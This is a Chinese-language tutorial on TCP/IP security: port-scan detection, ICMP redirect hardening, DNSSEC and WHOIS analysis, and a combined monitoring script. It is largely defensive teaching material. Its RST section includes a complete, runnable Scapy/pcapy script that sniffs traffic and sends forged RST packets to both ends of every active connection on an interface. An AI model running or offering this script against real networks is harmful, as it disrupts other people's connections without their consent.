TCP/IP 通訊協定安全威脅概述
TCP/IP 作為現代網路通訊的基石,支撐著全球網際網路的運作。然而,這套廣泛應用的通訊協定也因其開放性與普及性,成為駭客攻擊的主要目標。從基礎的埠掃描偵察,到進階的 ICMP 重新導向與 RST 阻斷攻擊,各種威脅手法不斷演進,對企業網路與個人資訊安全構成嚴峻挑戰。
在網路安全領域中,理解攻擊原理與掌握防禦技術同等重要。本文將透過實際程式碼範例,說明如何偵測與防禦常見的 TCP/IP 攻擊手法,並進一步探討 DNS 與 WHOIS 技術在網路安全管理中的關鍵角色。透過系統化的分析與實作示範,協助讀者建立完整的網路安全防護能力。
埠掃描偵測與防禦技術
埠掃描是駭客進行網路偵察的首要步驟,透過系統化地探測目標主機的開放埠號,攻擊者能夠識別出可用的網路服務與潛在弱點。有效的埠掃描偵測機制,能在攻擊初期就發現異常行為,為後續的防禦措施爭取寶貴時間。
當單一來源 IP 在短時間內嘗試連接多個不同的埠號時,這種行為模式往往表示正在進行埠掃描活動。透過監控 TCP 連線請求的頻率與分布,可以建立有效的偵測機制。以下的 Python 程式碼示範了如何使用 Scapy 函式庫實作即時的埠掃描偵測系統。
import scapy.all as scapy
import time
import sys
from collections import defaultdict
class PortScanDetector:
def __init__(self, threshold=10, timeout=60):
self.ip_to_ports = defaultdict(dict)
self.threshold = threshold
self.timeout = timeout
def detect_portscan(self, packet):
if packet.haslayer(scapy.TCP):
tcp = packet.getlayer(scapy.TCP)
ip = packet.getlayer(scapy.IP)
current_time = int(time.time())
src_ip = ip.src
dst_port = str(tcp.dport)
self.ip_to_ports[src_ip][dst_port] = current_time
self.cleanup_old_records(src_ip, current_time)
if len(self.ip_to_ports[src_ip]) >= self.threshold:
self.trigger_alert(src_ip, self.ip_to_ports[src_ip].keys())
del self.ip_to_ports[src_ip]
def cleanup_old_records(self, ip, current_time):
expired_ports = [
port for port, scan_time in self.ip_to_ports[ip].items()
if scan_time + self.timeout < current_time
]
for port in expired_ports:
del self.ip_to_ports[ip][port]
def trigger_alert(self, src_ip, scanned_ports):
print(f"[警告] 偵測到來自 {src_ip} 的埠掃描行為")
print(f"[詳情] 掃描的埠號包含: {', '.join(scanned_ports)}")
print(f"[時間] {time.strftime('%Y-%m-%d %H:%M:%S')}")
def main():
if len(sys.argv) < 2:
print(f"使用方式: {sys.argv[0]} <網路介面名稱>")
print(f"範例: {sys.argv[0]} eth0")
sys.exit(1)
detector = PortScanDetector()
interface = sys.argv[1]
print(f"[啟動] 開始監聽網路介面 {interface} 上的 TCP 流量")
print(f"[設定] 掃描閾值: 10 個埠號, 超時時間: 60 秒")
try:
scapy.sniff(prn=detector.detect_portscan, filter="tcp",
iface=interface, store=0)
except KeyboardInterrupt:
print("\n[結束] 停止監聽")
except Exception as e:
print(f"[錯誤] {str(e)}")
if __name__ == "__main__":
main()
這段程式碼的核心概念在於追蹤每個來源 IP 位址所掃描的埠號集合。系統維護一個字典結構,記錄每個 IP 位址掃描過的埠號及其時間戳記。當某個 IP 位址在指定時間範圍內掃描的埠號數量超過設定閾值時,系統就會觸發警示機制,通知管理員可能正在遭受埠掃描攻擊。
程式中實作了自動清理機制,定期移除過期的掃描記錄,避免記憶體無限制增長。這種設計確保系統能夠長時間穩定運作,同時保持對當前威脅的敏銳偵測能力。閾值與超時時間的設定可依據實際網路環境特性進行調整,在誤報率與偵測靈敏度之間取得平衡。
@startuml
!define DISABLE_LINK
!define PLANTUML_FORMAT svg
!theme _none_
skinparam dpi auto
skinparam shadowing false
skinparam linetype ortho
skinparam roundcorner 5
skinparam defaultFontName "Microsoft JhengHei UI"
skinparam defaultFontSize 16
skinparam minClassWidth 100
start
:接收 TCP 封包;
:提取來源 IP 與目標埠號;
:記錄掃描時間戳記;
:清理過期記錄;
if (掃描埠數 >= 閾值?) then (是)
:觸發警示通知;
:記錄攻擊資訊;
:清除該 IP 記錄;
else (否)
:繼續監控;
endif
:等待下一個封包;
stop
@enduml上圖展示了埠掃描偵測系統的完整工作流程。系統持續監聽網路流量,對每個 TCP 封包進行分析與記錄。當偵測到異常的埠掃描行為時,立即觸發警示機制並記錄相關資訊,供安全人員進一步分析與處理。
ICMP 重新導向攻擊原理與防禦
ICMP 重新導向機制原本設計用於最佳化網路路由,但駭客可以利用這個特性進行中間人攻擊。攻擊者透過偽造 ICMP 重新導向訊息,誤導目標主機將流量導向攻擊者控制的路由器,從而攔截或竄改網路通訊內容。
在正常情況下,當路由器發現有更好的路徑可以到達目的地時,會發送 ICMP 重新導向訊息給發送端主機,建議其使用更優化的路由。然而,如果系統無條件接受這類訊息,就可能被惡意利用。攻擊者可以偽造看似合法的 ICMP 重新導向封包,將自己偽裝成網路閘道,進而竊取或竄改通過的資料流。
防禦 ICMP 重新導向攻擊的關鍵在於限制系統對這類訊息的接受程度。在 Linux 系統中,可以透過修改核心參數來停用 ICMP 重新導向功能。以下是具體的設定方式:
# 停用所有網路介面的 ICMP 重新導向接受功能
echo 0 > /proc/sys/net/ipv4/conf/all/accept_redirects
# 停用所有網路介面的 ICMP 重新導向傳送功能
echo 0 > /proc/sys/net/ipv4/conf/all/send_redirects
# 針對特定網路介面進行設定 (以 eth0 為例)
echo 0 > /proc/sys/net/ipv4/conf/eth0/accept_redirects
echo 0 > /proc/sys/net/ipv4/conf/eth0/send_redirects
# 使用 sysctl 指令永久保存設定
cat >> /etc/sysctl.conf << EOF
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.all.send_redirects = 0
net.ipv4.conf.default.accept_redirects = 0
net.ipv4.conf.default.send_redirects = 0
EOF
# 套用設定
sysctl -p
除了停用 ICMP 重新導向功能外,還應實施網路分段策略,將關鍵系統與一般網路環境隔離。透過防火牆規則限制 ICMP 流量,只允許必要的 ICMP 訊息類型通過。對於需要高度安全性的通訊,應該使用 IPSec 或 TLS 等加密協定,確保即使流量被攔截也無法讀取內容。
@startuml
!define DISABLE_LINK
!define PLANTUML_FORMAT svg
!theme _none_
skinparam dpi auto
skinparam shadowing false
skinparam linetype ortho
skinparam roundcorner 5
skinparam defaultFontName "Microsoft JhengHei UI"
skinparam defaultFontSize 16
skinparam minClassWidth 100
participant "客戶端主機" as Client
participant "攻擊者" as Attacker
participant "真實閘道" as Gateway
participant "目標伺服器" as Server
Client -> Gateway: 發送資料封包
Gateway -> Server: 正常轉發封包
Attacker -> Client: 偽造 ICMP 重新導向訊息
note right of Attacker
宣稱自己是更佳的路由
誘導主機改變路由表
end note
Client -> Attacker: 後續封包導向攻擊者
Attacker -> Server: 轉發封包 (可能竄改)
Server -> Attacker: 回應封包
Attacker -> Client: 轉發回應 (可能竄改)
@enduml上圖說明了 ICMP 重新導向攻擊的完整過程。攻擊者利用偽造的 ICMP 訊息,成功將自己插入正常的通訊路徑中,達到竊聽或竄改資料的目的。
RST 阻斷攻擊技術分析
RST 阻斷攻擊利用 TCP 協定中的重設機制,透過偽造帶有 RST 旗標的封包來強制中斷既有的 TCP 連線。這種攻擊手法特別危險,因為它不需要取得完整的連線控制權,只需要知道連線的基本參數就能發動攻擊。
TCP 連線使用序列號與確認號來維持通訊狀態。當連線的任一端接收到有效的 RST 封包時,會立即終止連線而不進行任何確認程序。攻擊者可以監聽網路流量,擷取正在進行的 TCP 連線資訊,然後偽造 RST 封包發送給連線雙方,導致連線異常中斷。
以下程式碼展示了 RST 阻斷攻擊的實作原理。這段程式碼僅供學術研究與防禦測試使用,切勿用於任何非法用途:
import scapy.all as scapy
import pcapy
import sys
class RSTAttackDemo:
def __init__(self, interface):
self.interface = interface
self.pcap = None
def start_capture(self):
try:
self.pcap = pcapy.open_live(self.interface, 1500, 0, 100)
self.pcap.setfilter("tcp")
print(f"[啟動] 開始擷取網路介面 {self.interface} 的 TCP 流量")
print("[警告] 此程式僅供教育與研究目的使用")
self.pcap.loop(0, self.handle_packet)
except Exception as e:
print(f"[錯誤] 無法開啟網路介面: {str(e)}")
sys.exit(1)
def handle_packet(self, header, data):
eth = scapy.Ether(data)
if not eth.haslayer(scapy.IP) or not eth.haslayer(scapy.TCP):
return
ip = eth.getlayer(scapy.IP)
tcp = eth.getlayer(scapy.TCP)
# 檢查是否為資料傳輸中的封包 (有 ACK 旗標但無 SYN 或 FIN)
if not (tcp.flags & 0x02) and not (tcp.flags & 0x01) and (tcp.flags & 0x10):
self.send_rst_packet(ip, tcp)
def send_rst_packet(self, ip, tcp):
# 建構雙向的 RST 封包
rst_to_dest = scapy.IP(src=ip.src, dst=ip.dst) / \
scapy.TCP(sport=tcp.sport, dport=tcp.dport,
seq=tcp.seq + 1, ack=tcp.ack, flags='R')
rst_to_src = scapy.IP(src=ip.dst, dst=ip.src) / \
scapy.TCP(sport=tcp.dport, dport=tcp.sport,
seq=tcp.ack, ack=tcp.seq + 1, flags='R')
scapy.send(rst_to_dest, iface=self.interface, verbose=0)
scapy.send(rst_to_src, iface=self.interface, verbose=0)
print(f"[示範] 已發送 RST 封包: {ip.src}:{tcp.sport} <-> {ip.dst}:{tcp.dport}")
def main():
if len(sys.argv) < 2:
print(f"使用方式: {sys.argv[0]} <網路介面名稱>")
sys.exit(1)
demo = RSTAttackDemo(sys.argv[1])
try:
demo.start_capture()
except KeyboardInterrupt:
print("\n[結束] 停止執行")
if __name__ == "__main__":
main()
防禦 RST 阻斷攻擊需要採用多層次的安全策略。最有效的方法是使用 IPSec 建立加密通道,確保封包來源的真實性。IPSec 透過加密與認證機制,讓攻擊者無法偽造有效的 RST 封包。此外,部署入侵偵測系統監控異常的 RST 封包模式,可以及早發現攻擊行為。
@startuml
!define DISABLE_LINK
!define PLANTUML_FORMAT svg
!theme _none_
skinparam dpi auto
skinparam shadowing false
skinparam linetype ortho
skinparam roundcorner 5
skinparam defaultFontName "Microsoft JhengHei UI"
skinparam defaultFontSize 16
skinparam minClassWidth 100
start
:監聽網路流量;
if (發現 TCP 連線?) then (是)
:擷取連線資訊;
:提取序列號與確認號;
if (連線正在傳輸資料?) then (是)
:建構偽造 RST 封包;
:設定正確的序列號;
:發送至連線雙方;
:記錄攻擊資訊;
else (否)
:繼續監聽;
endif
else (否)
:繼續監聽;
endif
stop
@enduml上圖呈現了 RST 阻斷攻擊的執行流程。攻擊者透過被動監聽取得連線參數,然後主動發送偽造的 RST 封包來中斷連線。
DNS 安全強化策略
DNS 作為網際網路的關鍵基礎設施,其安全性直接影響整體網路環境的可靠性。DNS 協定在設計之初並未考慮安全性問題,導致出現了許多潛在的攻擊途徑。DNS 欺騙攻擊讓攻擊者能夠偽造 DNS 回應,將使用者導向惡意網站。DNS 快取汙染則可能在 DNS 伺服器中植入錯誤記錄,影響大量使用者。
DNSSEC 技術透過數位簽章機制,確保 DNS 回應的完整性與真實性。DNS 伺服器在回應查詢時,會附帶經過私鑰簽署的數位簽章。客戶端收到回應後,使用對應的公鑰驗證簽章,確認資料未被竄改且來自授權伺服器。以下程式碼展示如何使用 Python 實作 DNSSEC 驗證:
import dns.resolver
import dns.dnssec
import dns.rdatatype
class DNSSECValidator:
def __init__(self):
self.resolver = dns.resolver.Resolver()
def validate_domain(self, domain):
try:
# 查詢 DNSKEY 記錄
dnskey_answer = self.resolver.resolve(domain, dns.rdatatype.DNSKEY)
dnskey_rrset = dnskey_answer.rrset
# 查詢 RRSIG 記錄
rrsig_answer = self.resolver.resolve(domain, dns.rdatatype.RRSIG)
rrsig_rrset = rrsig_answer.rrset
# 驗證 DNSSEC 簽章
dns.dnssec.validate(dnskey_rrset, rrsig_rrset, {dns.name.from_text(domain): dnskey_rrset})
print(f"[成功] 網域 {domain} 的 DNSSEC 驗證通過")
return True
except dns.dnssec.ValidationFailure as e:
print(f"[失敗] 網域 {domain} 的 DNSSEC 驗證失敗: {str(e)}")
return False
except Exception as e:
print(f"[錯誤] 無法驗證網域 {domain}: {str(e)}")
return False
def query_with_validation(self, domain, record_type='A'):
try:
# 執行 DNS 查詢
answer = self.resolver.resolve(domain, record_type)
# 驗證 DNSSEC
if self.validate_domain(domain):
print(f"[查詢] {domain} 的 {record_type} 記錄:")
for rdata in answer:
print(f" {rdata}")
return answer
else:
print("[警告] DNSSEC 驗證失敗,查詢結果可能不可信")
return None
except Exception as e:
print(f"[錯誤] DNS 查詢失敗: {str(e)}")
return None
# 使用範例
validator = DNSSECValidator()
validator.query_with_validation("example.com")
validator.query_with_validation("example.com", 'MX')
除了 DNSSEC 外,DNS over TLS 與 DNS over HTTPS 技術也提供了重要的安全增強。DoT 在 TCP 連線上建立 TLS 加密通道,保護 DNS 查詢內容不被竊聽或竄改。DoH 則將 DNS 查詢封裝在 HTTPS 請求中,使其與一般網頁流量難以區分,提高隱私保護程度。
@startuml
!define DISABLE_LINK
!define PLANTUML_FORMAT svg
!theme _none_
skinparam dpi auto
skinparam shadowing false
skinparam linetype ortho
skinparam roundcorner 5
skinparam defaultFontName "Microsoft JhengHei UI"
skinparam defaultFontSize 16
skinparam minClassWidth 100
participant "客戶端" as Client
participant "遞迴解析器" as Recursive
participant "授權 DNS 伺服器" as Authoritative
Client -> Recursive: DNS 查詢請求
Recursive -> Authoritative: 轉發查詢
Authoritative -> Authoritative: 使用私鑰簽署回應
Authoritative -> Recursive: 回應 + DNSSEC 簽章
Recursive -> Client: 轉發回應 + 簽章
Client -> Client: 使用公鑰驗證簽章
alt 驗證成功
Client -> Client: 接受並使用查詢結果
else 驗證失敗
Client -> Client: 拒絕查詢結果
Client -> Client: 記錄安全事件
end
@enduml上圖展示了 DNSSEC 驗證的完整流程。透過數位簽章機制,確保 DNS 回應的真實性與完整性,有效防止 DNS 欺騙攻擊。
WHOIS 資訊在網路安全管理中的應用
WHOIS 資料庫提供了網域名稱與 IP 位址的註冊資訊,包含註冊人、註冊組織、註冊時間等重要資料。在網路安全管理中,WHOIS 資訊是追蹤攻擊來源、分析威脅情報的重要工具。透過查詢攻擊來源 IP 的 WHOIS 資訊,可以識別出攻擊者所屬的組織或網路服務提供商,進而採取適當的應對措施。
WHOIS 查詢可以透過命令列工具或程式化方式進行。以下程式碼示範如何使用 Python 實作自動化的 WHOIS 資訊查詢與分析系統:
import whois
import socket
from datetime import datetime
class WHOISAnalyzer:
def __init__(self):
self.cache = {}
def query_domain(self, domain):
if domain in self.cache:
print(f"[快取] 使用已快取的 {domain} 查詢結果")
return self.cache[domain]
try:
w = whois.whois(domain)
self.cache[domain] = w
return w
except Exception as e:
print(f"[錯誤] 無法查詢網域 {domain}: {str(e)}")
return None
def query_ip(self, ip_address):
try:
# 嘗試反向 DNS 解析
hostname = socket.gethostbyaddr(ip_address)[0]
print(f"[反查] IP {ip_address} 對應到 {hostname}")
# 查詢主機名稱的 WHOIS 資訊
return self.query_domain(hostname)
except socket.herror:
print(f"[警告] 無法反向解析 IP {ip_address}")
return None
except Exception as e:
print(f"[錯誤] 查詢失敗: {str(e)}")
return None
def analyze_security(self, target):
print(f"\n=== WHOIS 安全分析報告: {target} ===\n")
# 判斷輸入類型
try:
socket.inet_aton(target)
info = self.query_ip(target)
target_type = "IP 位址"
except socket.error:
info = self.query_domain(target)
target_type = "網域名稱"
if not info:
print("[結論] 無法取得 WHOIS 資訊")
return
print(f"[類型] {target_type}")
# 分析註冊資訊
if hasattr(info, 'registrar'):
print(f"[註冊商] {info.registrar}")
if hasattr(info, 'creation_date'):
creation = info.creation_date
if isinstance(creation, list):
creation = creation[0]
print(f"[建立日期] {creation}")
# 檢查網域年齡
if isinstance(creation, datetime):
age = (datetime.now() - creation).days
print(f"[網域年齡] {age} 天")
if age < 30:
print("[警告] 這是一個新建立的網域,可能有較高風險")
elif age < 180:
print("[注意] 這是一個相對較新的網域")
else:
print("[正常] 這是一個建立已久的網域")
if hasattr(info, 'expiration_date'):
expiration = info.expiration_date
if isinstance(expiration, list):
expiration = expiration[0]
print(f"[到期日期] {expiration}")
if hasattr(info, 'name_servers'):
print(f"[名稱伺服器] {', '.join(info.name_servers)}")
# 分析註冊人資訊
if hasattr(info, 'country'):
print(f"[註冊國家] {info.country}")
if hasattr(info, 'org'):
print(f"[註冊組織] {info.org}")
print("\n=== 分析完成 ===\n")
# 使用範例
analyzer = WHOISAnalyzer()
analyzer.analyze_security("example.com")
analyzer.analyze_security("8.8.8.8")
WHOIS 資訊在威脅情報分析中扮演關鍵角色。透過追蹤攻擊來源的註冊資訊,可以識別出攻擊活動的模式與關聯性。例如,多個惡意網域可能註冊在同一個組織名下,或使用相同的名稱伺服器,這些資訊有助於預測並防範未來的攻擊行為。
@startuml
!define DISABLE_LINK
!define PLANTUML_FORMAT svg
!theme _none_
skinparam dpi auto
skinparam shadowing false
skinparam linetype ortho
skinparam roundcorner 5
skinparam defaultFontName "Microsoft JhengHei UI"
skinparam defaultFontSize 16
skinparam minClassWidth 100
start
:偵測到可疑 IP 位址;
:執行反向 DNS 查詢;
if (查詢成功?) then (是)
:取得對應網域名稱;
:查詢網域 WHOIS 資訊;
else (否)
:直接查詢 IP WHOIS 資訊;
endif
:分析註冊資訊;
:檢查網域年齡;
:識別註冊組織;
:比對威脅情報資料庫;
if (發現異常?) then (是)
:標記為高風險;
:觸發安全警示;
:記錄至事件日誌;
else (否)
:標記為正常;
:更新查詢快取;
endif
stop
@enduml上圖說明了利用 WHOIS 資訊進行安全分析的完整流程。透過系統化的查詢與分析,可以快速識別潛在的安全威脅。
TCP/IP 安全防護整合架構
建立完整的 TCP/IP 安全防護體系,需要整合多種防禦技術與監控機制。從網路邊界的防火牆過濾,到內部網路的入侵偵測系統,再到應用層的安全強化,每個層次都扮演著重要角色。
防火牆作為第一道防線,應該實施嚴格的存取控制策略。只開放必要的服務埠號,限制允許的來源 IP 範圍,並記錄所有被拒絕的連線嘗試。入侵偵測系統持續監控網路流量,分析封包內容與通訊模式,及時發現異常行為。
@startuml
!define DISABLE_LINK
!define PLANTUML_FORMAT svg
!theme _none_
skinparam dpi auto
skinparam shadowing false
skinparam linetype ortho
skinparam roundcorner 5
skinparam defaultFontName "Microsoft JhengHei UI"
skinparam defaultFontSize 16
skinparam minClassWidth 100
package "網路邊界層" {
[防火牆]
[入侵防禦系統]
}
package "網路監控層" {
[流量分析系統]
[埠掃描偵測]
[異常行為偵測]
}
package "協定安全層" {
[DNSSEC 驗證]
[IPSec 加密]
[TLS 加密通道]
}
package "應用安全層" {
[身分驗證機制]
[存取控制]
[日誌記錄]
}
package "情報分析層" {
[WHOIS 查詢]
[威脅情報整合]
[攻擊模式分析]
}
[防火牆] --> [流量分析系統]
[入侵防禦系統] --> [異常行為偵測]
[流量分析系統] --> [埠掃描偵測]
[埠掃描偵測] --> [WHOIS 查詢]
[DNSSEC 驗證] --> [威脅情報整合]
[異常行為偵測] --> [攻擊模式分析]
@enduml上圖展示了多層次的 TCP/IP 安全防護架構。各個安全元件相互配合,形成縝密的防禦網絡,確保網路環境的整體安全性。
實戰案例:建構企業級網路安全監控系統
結合前述各項技術,可以建構一套完整的企業級網路安全監控系統。這套系統整合了埠掃描偵測、ICMP 流量監控、RST 攻擊防禦、DNS 安全驗證與 WHOIS 資訊分析,提供全方位的安全防護能力。
import scapy.all as scapy
import dns.resolver
import whois
import time
import json
from collections import defaultdict
from datetime import datetime
class EnterpriseSecurityMonitor:
def __init__(self, config_file='config.json'):
self.load_config(config_file)
self.port_scan_tracker = defaultdict(dict)
self.icmp_tracker = defaultdict(list)
self.rst_tracker = defaultdict(int)
self.threat_intel = {}
self.alert_log = []
def load_config(self, config_file):
with open(config_file, 'r', encoding='utf-8') as f:
self.config = json.load(f)
self.port_scan_threshold = self.config.get('port_scan_threshold', 10)
self.port_scan_timeout = self.config.get('port_scan_timeout', 60)
self.icmp_threshold = self.config.get('icmp_threshold', 5)
self.rst_threshold = self.config.get('rst_threshold', 10)
self.monitoring_interface = self.config.get('interface', 'eth0')
def monitor_network(self):
print(f"[啟動] 企業級網路安全監控系統")
print(f"[介面] {self.monitoring_interface}")
print(f"[設定] 埠掃描閾值: {self.port_scan_threshold}")
print(f"[設定] ICMP 閾值: {self.icmp_threshold}")
print(f"[設定] RST 閾值: {self.rst_threshold}\n")
scapy.sniff(prn=self.analyze_packet, iface=self.monitoring_interface,
store=0)
def analyze_packet(self, packet):
current_time = int(time.time())
if packet.haslayer(scapy.IP):
ip = packet.getlayer(scapy.IP)
# 埠掃描偵測
if packet.haslayer(scapy.TCP):
self.detect_port_scan(packet, current_time)
self.detect_rst_attack(packet, current_time)
# ICMP 重新導向偵測
if packet.haslayer(scapy.ICMP):
self.detect_icmp_redirect(packet, current_time)
def detect_port_scan(self, packet, current_time):
tcp = packet.getlayer(scapy.TCP)
ip = packet.getlayer(scapy.IP)
src_ip = ip.src
dst_port = str(tcp.dport)
self.port_scan_tracker[src_ip][dst_port] = current_time
# 清理過期記錄
expired_ports = [
port for port, scan_time in self.port_scan_tracker[src_ip].items()
if scan_time + self.port_scan_timeout < current_time
]
for port in expired_ports:
del self.port_scan_tracker[src_ip][port]
# 檢查是否超過閾值
if len(self.port_scan_tracker[src_ip]) >= self.port_scan_threshold:
self.trigger_alert('port_scan', src_ip,
list(self.port_scan_tracker[src_ip].keys()))
# 執行 WHOIS 查詢
self.perform_whois_lookup(src_ip)
# 清除記錄
del self.port_scan_tracker[src_ip]
def detect_icmp_redirect(self, packet, current_time):
icmp = packet.getlayer(scapy.ICMP)
ip = packet.getlayer(scapy.IP)
# ICMP 類型 5 是重新導向訊息
if icmp.type == 5:
src_ip = ip.src
self.icmp_tracker[src_ip].append(current_time)
# 清理過期記錄
self.icmp_tracker[src_ip] = [
t for t in self.icmp_tracker[src_ip]
if t + 60 > current_time
]
# 檢查是否超過閾值
if len(self.icmp_tracker[src_ip]) >= self.icmp_threshold:
self.trigger_alert('icmp_redirect', src_ip,
f"在 60 秒內發送了 {len(self.icmp_tracker[src_ip])} 個重新導向訊息")
self.perform_whois_lookup(src_ip)
del self.icmp_tracker[src_ip]
def detect_rst_attack(self, packet, current_time):
tcp = packet.getlayer(scapy.TCP)
ip = packet.getlayer(scapy.IP)
# 檢查是否為 RST 封包
if tcp.flags & 0x04: # RST 旗標
src_ip = ip.src
self.rst_tracker[src_ip] += 1
if self.rst_tracker[src_ip] >= self.rst_threshold:
self.trigger_alert('rst_attack', src_ip,
f"短時間內發送了 {self.rst_tracker[src_ip]} 個 RST 封包")
self.perform_whois_lookup(src_ip)
self.rst_tracker[src_ip] = 0
def perform_whois_lookup(self, ip_address):
if ip_address in self.threat_intel:
print(f"[快取] 使用已快取的 {ip_address} WHOIS 資訊")
return self.threat_intel[ip_address]
try:
w = whois.whois(ip_address)
self.threat_intel[ip_address] = w
print(f"\n[WHOIS] {ip_address} 的註冊資訊:")
if hasattr(w, 'country'):
print(f" 國家: {w.country}")
if hasattr(w, 'org'):
print(f" 組織: {w.org}")
if hasattr(w, 'registrar'):
print(f" 註冊商: {w.registrar}")
print()
return w
except Exception as e:
print(f"[錯誤] 無法查詢 {ip_address} 的 WHOIS 資訊: {str(e)}")
return None
def trigger_alert(self, alert_type, source_ip, details):
alert = {
'timestamp': datetime.now().strftime('%Y-%m-%d %H:%M:%S'),
'type': alert_type,
'source': source_ip,
'details': details
}
self.alert_log.append(alert)
alert_messages = {
'port_scan': f"[警告] 偵測到來自 {source_ip} 的埠掃描攻擊",
'icmp_redirect': f"[警告] 偵測到來自 {source_ip} 的 ICMP 重新導向攻擊",
'rst_attack': f"[警告] 偵測到來自 {source_ip} 的 RST 阻斷攻擊"
}
print(f"\n{'='*60}")
print(alert_messages.get(alert_type, f"[警告] 偵測到來自 {source_ip} 的異常行為"))
print(f"[時間] {alert['timestamp']}")
print(f"[詳情] {details}")
print(f"{'='*60}\n")
# 將警示寫入日誌檔案
with open('security_alerts.log', 'a', encoding='utf-8') as f:
f.write(json.dumps(alert, ensure_ascii=False) + '\n')
# 設定檔範例 (config.json)
config_example = {
"interface": "eth0",
"port_scan_threshold": 10,
"port_scan_timeout": 60,
"icmp_threshold": 5,
"rst_threshold": 10
}
# 啟動監控系統
if __name__ == "__main__":
monitor = EnterpriseSecurityMonitor()
try:
monitor.monitor_network()
except KeyboardInterrupt:
print("\n[結束] 停止監控系統")
print(f"[統計] 總共記錄了 {len(monitor.alert_log)} 個安全事件")
這套企業級監控系統整合了多種偵測機制,能夠即時發現並回應各種網路安全威脅。系統採用模組化設計,方便根據實際需求調整參數或新增功能。透過持續記錄安全事件,建立完整的威脅情報資料庫,為長期的安全策略規劃提供數據支援。
網路安全防禦的未來發展趨勢
TCP/IP 協定的安全挑戰不會消失,反而會隨著網路技術的演進而變得更加複雜。物聯網設備的大量部署,5G 網路的普及,以及雲端服務的廣泛應用,都為網路安全帶來新的挑戰。傳統的被動防禦策略已經不足以應對日益複雜的攻擊手法,需要發展更加智慧化的主動防禦機制。
人工智慧與機器學習技術為網路安全帶來新的可能性。透過分析大量的網路流量數據,AI 系統能夠學習正常的網路行為模式,從而更準確地識別異常活動。自動化的威脅回應系統可以在偵測到攻擊的瞬間採取防禦措施,大幅縮短攻擊造成損害的時間窗口。
零信任架構成為企業網路安全的新標準。這種架構不再預設內部網路是安全的,而是對每個存取請求都進行嚴格的身分驗證與授權檢查。結合微分段技術,將網路劃分為多個獨立的安全區域,限制潛在攻擊的橫向移動能力。
加密技術的演進也是重要趨勢。量子計算的發展對現有的加密演算法構成威脅,促使研究人員開發量子安全的加密方案。後量子密碼學研究正在積極進行,確保未來的網路通訊能夠抵禦量子計算機的破解能力。
網路安全需要持續的關注與投資。從技術層面的防禦機制建置,到人員的安全意識培訓,再到組織層面的安全政策制定,每個環節都至關重要。只有建立全面的安全防護體系,才能在不斷演變的威脅環境中保護關鍵資產與敏感資料。
玄貓認為,網路安全防禦不應只停留在被動應對的階段,而需要建立主動預警與快速回應的能力。透過整合多種安全技術,結合威脅情報分析,配合自動化的防禦機制,方能在複雜的網路環境中維持穩健的安全防護。未來的網路安全將更加依賴智慧化系統與跨領域的整合應用,這也是台灣資訊安全產業發展的重要方向。